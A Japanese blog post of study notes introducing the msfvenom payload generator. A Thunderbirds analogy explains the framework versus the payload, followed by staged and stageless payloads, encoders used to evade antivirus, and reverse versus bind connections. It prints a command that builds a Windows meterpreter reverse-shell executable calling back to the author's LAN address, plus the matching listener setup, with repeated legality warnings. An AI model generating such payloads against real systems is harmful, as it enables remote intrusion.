msfvenom は Metasploit Framework(MSF) に含まれるペイロード生成専用ツールで、
主に ペネトレーションテストや検証環境での攻撃シミュレーションに使われます。
このツールの生成物の、第三者環境での無許可・無断使用は違法行為です
というわけで、スミマセン。
今回は実践はしていません。(適切なターゲットが構築できれば実践してみます)
ペイロード
ペイロード(payload)とは、トラックや船・飛行機・ロケットなどの積荷(或いは積載容量)を表す言葉です。
MSF本体(msfconsole)はコンテナを運ぶ運搬手段で、運ばれる側のコンテナの中身がペイロードです。
昭和のおじさん向けの例えとしては、サ⚫️ダーバード2号が ” MSF” に相当するとすれば、

そのお腹のコンテナに入れられて運搬される、例えば⚫️ンダーバード4号がペイロードです。

つまりMSFは運搬手段に過ぎず、敵基地(ターゲットサーバー)の内部に送り込まれる中身がペイロードです。
敵基地に送り込まれたペイロードは、味方(自分)と通信しながら行動します。
ここまでのまとめ
| 名称 | metasploit fremework (msfconsole) (MSF) | payload (具体的な名称は “meterpreter” など、MSFには1600種類以上備え付けられています) |
|---|---|---|
| 役割 | 運搬手段 | 積載物 |
| 例えると | サ⚫️ダーバード2号 | ⚫️ンダーバード4号 |
| 活動内容 | 積載物送り込みと通信管理を担当 | ターゲット内に送り込まれて活動 |
ペイロードの単独行動
ところでこの⚫️ンダーバード4号、たまには2号とペアで行動せずに、単独で行動してみたいとします。
で、その時に4号だけでも単独行動出来るようにとセットアップしてくれるツールが、今回取り上げる “msfvenom” です。
stagelessとstaged
ペイロードの種類には、stagelessとstaged の2種類があります。
| staged | stageless | |
|---|---|---|
| 侵入ステップ | 2ステップ | 1ステップ |
| 侵入方法 | 小さなローダーがまず侵入・接続後に、「本体」を受信 | 最初から「全部入り本体」を送る |
| 見分け方 | / で区切られている 例)meterpreter/reverse_tcp | _で区切られている 例)meterpreter_reverse_tcp |
| 初期サイズ | 小さい | 大きい |
| 通信遮断耐性 | 弱い | 強い |
| AV/EDR検知 | stage2で検知されやすい | 静的検知されやすい |
*AV: Antivirus
*EDR: Endpoint Detection and Response
msfvenomによるペイロード作成
msfvenom は、以下の手順を 1コマンドで生成します。
- ペイロード(reverse shell / meterpreter など)の選択設定
- そのフォーマット(出力形式:exe, elf, apk, raw, python, powershell など)
- そのエンコード(難読化:AV回避用)
基本構文
msfvenom -p <payload> LHOST=<IP> LPORT=<port> -f <format> -o <output>
| オプション | 設定事項 |
|---|---|
| -p <payload> | ペイロードの選択 |
| LHOST=<IP> | 自分(受信側)のIP |
| LPORT=<port> | 自分(受信側)のポート番号 |
| -f <format> | 出力フォーマットの選択 |
| -o <output> | 出力ファイル名の設定 |
ペイロード一覧の確認
ペイロードの一覧です。
msfvenom -l payloads

MSFに登録されている “payloads” は1687個あります。
これを元に “msfvenom” ツールを用いてセットアップを行います。
代表的なペイロード例
| ターゲットOS | ペイロード |
|---|---|
| Linux用 | reverseshell (ELF) |
| Windows用 | Metepreter |
| Windows用 | PowerShell:ファイルレス |
出力フォーマットの種類
下記コマンドで参照できます。
msfvenom –list format


その他オプション
| オプション | |
|---|---|
| -e <エンコーダ> | エンコーダの種類 |
| -i 回数 | エンコーダの繰り返し回数 |
エンコーダの一覧
下記で表示できます。
msfvenom –list encoders
下記はその一部です。

実際の生成
下記の例では、
- ターゲットのOSはwindowsと仮定し、ペイロードをwindws/meterpreter/reverse_tcpを選択
- LHOSTは自分のIP(この場合、192.168.11.26)
- LPORTは4400に設定(受信する際のポート番号)
- formatはexe
- 出力ファイル名は “windows-meterpreter-reverse_tcp-4400.exe”
に設定して生成しています。
msfvenom -p windws/meterpreter/reverse_tcp LHOST=192.168.11.26 LPORT=4400 -f exe -o windows-meterpreter-reverse_tcp-4400.exe

- プラットフォームの指定が無かったので自動補完され(Msf::Platform::windows)、
- arch (architecture) の選択がなかったので、自動選択で “x86”
- エンコーダが特定されていなかったので、 “raw” で出力された。
といった注意事項が並んでいます。
ホームディレクトリに出力結果(ペイロード)が生成されています。

繰り返しますがこれをサーバー管理者の許可なく使用してはいけません
ヘルプ
Kali ー 02-Resource Development ー msfvenom


ターゲットへのペイロードの運搬と実行
ターゲットへの運搬方法及び、ターゲット内での実行(の催促など)については、環境に応じて個別に設計する必要があります。(今回は省略。)
つまりこの作業は、サ⚫️ダーバード2号の助けを借りずに4号単独で切り拓く必要があります。
受信側の設定
何らかの方法で敵基地に潜入した⚫️ンダーバード4号は、いくら単独行動とは言え、その後はこちらの基地と交信しなければなりません。
つまりこちら側では、4号からの通信を待ち受けておく必要があります。これは2号側(=MSF)の役割です。
ペイロードを相手側に送り込んだ後に通信を確立するためには、自分側のMSF(msfconsole)にて ” listen” を開始する必要があります。( “listener” もしくは “handler” とも言います)
下記は、 ペイロードとして “windows/x64/meterpreter/reverse_tcp” を選択した後、自分側(IP:192.168.xx.yy、ポート番号:zzzz)にてlistenを開始するmsfconsoleの例です。
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.xx.yy
set LPORT zzzz
run
ペイロード名が不一致の場合は通信に失敗します。(完全一致が必要)
また待受側のIPとポート番号(LHOST/LPORT)も、 “msfvenom” でペイロード生成時に設定しておいたものと完全な一致が必要です。
この後、送り込んだペイロード(例えば “meterpreter” )と通信が繋がる訳で、これを操作して相手サーバー内で活動します。
( ” msf sessions -i , post modules” などの次の段階に進みます。)
接続方向の例外(reverseとbind)
上記の「ターゲット➡️自分」方向の接続が一般的な接続方法で、これを “reverse” と呼びます。
“reverse” が一般的な理由は、FW(ファイアウォール)やNAT(Network Address Translation)を乗り越えやすいため。
*警備員さんは「外➡️内」方向の通過は警戒するが、その逆はあまり警戒しない
但し「自分➡️ターゲット」方向の接続方法を取るペイロードも一部あり、この方法を ” bind” と呼びます。
その場合は、RHOST/RPORT(ターゲット側のIPとポート番号)を設定します。
まとめ
MSF(msfconsole)を使用せずにそのpayloadだけを単独で生成するツールmsfvenomの紹介でした。
実際には行っていないので、イマイチ伝わる分も少ないかと思います。(こちらの理解もイマイチ)
とりあえず勉強しただけの分の記録ということで。
謹賀新年。本年もよろしくお願いします。


コメント